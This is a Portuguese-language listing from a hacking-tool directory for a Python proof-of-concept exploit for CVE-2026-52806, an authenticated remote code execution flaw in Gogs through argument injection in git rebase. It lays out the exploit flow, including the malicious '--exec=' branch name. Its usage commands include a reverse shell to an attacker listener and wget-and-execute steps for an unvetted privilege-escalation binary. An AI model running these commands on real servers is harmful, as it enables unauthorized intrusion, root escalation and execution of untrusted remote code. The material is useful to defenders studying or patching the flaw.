Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-52806 — Gogs RCE via injeção de argumentos no git rebase (CWE-88) — PoC em Python. CVE-2026-52806 | Kitploit
Ferramentas/GitHubGitHub/portbuster1337/cve-2026-52806
Escalada de PrivilégiosAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebPós-ExploraçãoCTFTestes de PenetraçãoComando e ControleAprendizado e EducaçãoDesenvolvimento de Payloads
GitHubportbuster1337/cve-2026-52806
61há 1 mêsAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-52806

Gogs RCE via injeção de argumentos no git rebase (CWE-88) — PoC em Python. CVE-2026-52806

Ver RepositórioSite

Gogs RCE — Injeção de Argumentos em git rebase (CWE-88)

Execução remota de código autenticada contra Gogs (<= 0.14.2 e 0.15.0+dev) por meio de injeção de argumentos no fluxo de merge de pull requests.

CVE-2026-52806

Vulnerabilidade

A função Merge() em internal/database/pull.go passa o nome do branch base da PR para git rebase sem um separador --. Um branch chamado --exec=<COMMAND> é interpretado pelo Git como a flag --exec em vez de um argumento posicional, fazendo com que sh -c <COMMAND> seja executado após cada commit reproduzido durante o rebase.

Como o exploit funciona

  1. Pre-flight — determina se o alvo executa Gogs, identifica a versão por meio do parâmetro ?v= em ativos estáticos e verifica se o registro de usuários está aberto, protegido por captcha ou desabilitado.
  2. Autenticação — se nenhuma credencial for fornecida, tenta o auto-registro (sem captcha) ou, se o captcha estiver habilitado, exibe uma mensagem informando ao usuário para criar uma conta na página de cadastro do alvo e executar novamente com -u <username> -pw <password>. Cria um token de API via autenticação Basic ou pela página de configurações da web.
  3. Configuração do repositório — cria um repositório privado temporário via API do Gogs e habilita Rebase antes do merge nas configurações.
  4. Manipulação de branches git — inicializa localmente um repositório git e faz push de:
    • Um branch master com um README
    • Um branch feature-* com um commit divergente
    • Um branch malicioso chamado --exec=sh${IFS}.payload contendo um script que executa o comando do atacante em segundo plano
  5. Pull request — abre uma PR do branch de feature para o branch malicioso --exec=.
  6. Gatilho — faz POST para o endpoint de merge com merge_style=rebase_before_merging. O Gogs executa internamente git rebase --exec=sh${IFS}.payload, que executa o payload após cada commit reproduzido.

Requisitos

  • Python 3.6+
  • requests (pip install requests)
  • Instalação local do git

Uso

root@kitploit:~
python3 gogs.py <target> [options]

Verificação pre-flight

root@kitploit:~
python3 gogs.py http://target:3000 --preflight-only

Relata:

  • Registration: ENABLED (no captcha) — é possível auto-registrar
  • Registration: ENABLED (CAPTCHA DETECTED) — crie uma conta manualmente na página de cadastro do alvo e forneça as credenciais com -u / -pw
  • Registration: DISABLED — são necessárias credenciais existentes de um administrador

Execute o exploit

root@kitploit:~
# Auto-register + run a command
python3 gogs.py 10.0.0.1:3000 --cmd "id > /tmp/pwned.txt"

# Existing account
python3 gogs.py 10.0.0.1:3000 -u attacker -p Password123 --cmd "whoami"

# Reverse shell
python3 gogs.py 10.0.0.1:3000 -u attacker -p Password123 --listener 10.0.0.2:4444

# Captcha enabled: create account on target's signup page, then use creds
python3 gogs.py 10.0.0.1:3000 -u myuser -pw mypassword --cmd "id"

# If login with creds fails, pass the session cookie directly
python3 gogs.py 10.0.0.1:3000 --cookie "i_like_gogs=abc123..." --cmd "id"

Opções

Pós-exploração

Depois de obter um shell no alvo, o processo do Gogs normalmente é executado como um usuário de privilégios baixos (ex.: git no Docker). Para tentar a escalada de privilégios para root, baixe e execute o binário lpe-toolkit na página de releases do projeto:

root@kitploit:~
# From your shell session:
wget https://github.com/portbuster1337/lpe-toolkit/releases/latest/download/lpe-toolkit-linux-amd64
chmod +x lpe-toolkit-linux-amd64
./lpe-toolkit-linux-amd64

O toolkit enumera exploits de kernel, configurações incorretas e outros vetores comuns de escalada.

Referências

  • Postagem do blog da Rapid7 — RCE autenticado via injeção de argumentos no Gogs (não corrigido)
  • Módulo do Metasploit — exploit/multi/http/gogs_rebase_rce da Rapid7 por Jonah Burgess (CryptoCat) (PR #21515)
  • GHSA — qf6p-p7ww-cwr9 (gogs/gogs)
  • Gogs — https://github.com/gogs/gogs

Este PoC em Python é inspirado no módulo do Metasploit publicado. A vulnerabilidade foi descoberta e divulgada de forma responsável por Jonah Burgess (CryptoCat) na Rapid7.

Aviso Legal

Esta ferramenta é fornecida apenas para fins educacionais e testes de segurança autorizados. O uso não autorizado contra sistemas que você não possui ou para os quais não tem permissão explícita de teste é ilegal. Os autores não são responsáveis por qualquer uso indevido ou dano causado por este software.

Nota

A API do Gogs não suporta exclusão de tokens; portanto, quaisquer tokens de acesso à API criados durante a exploração persistirão e deverão ser removidos manualmente em /user/settings/applications na instância alvo.

Baixar ferramenta
  • Limpeza — exclui o repositório temporário e os arquivos temporários locais.
  • FlagDescrição
    targetHost[:porta] (ex.: 47.109.58.140:9000)
    -p, --portPorta HTTP (padrão: 3000)
    -u, --usernameNome de usuário do Gogs
    -pw, --passwordSenha do Gogs
    --cookieString do cookie de sessão
    --cmdComando a ser executado no alvo
    --listenerReverse shell host:port
    --lhost / --lportHost e porta do reverse shell
    --sslUsar HTTPS
    --preflight-onlyExecutar apenas as verificações pre-flight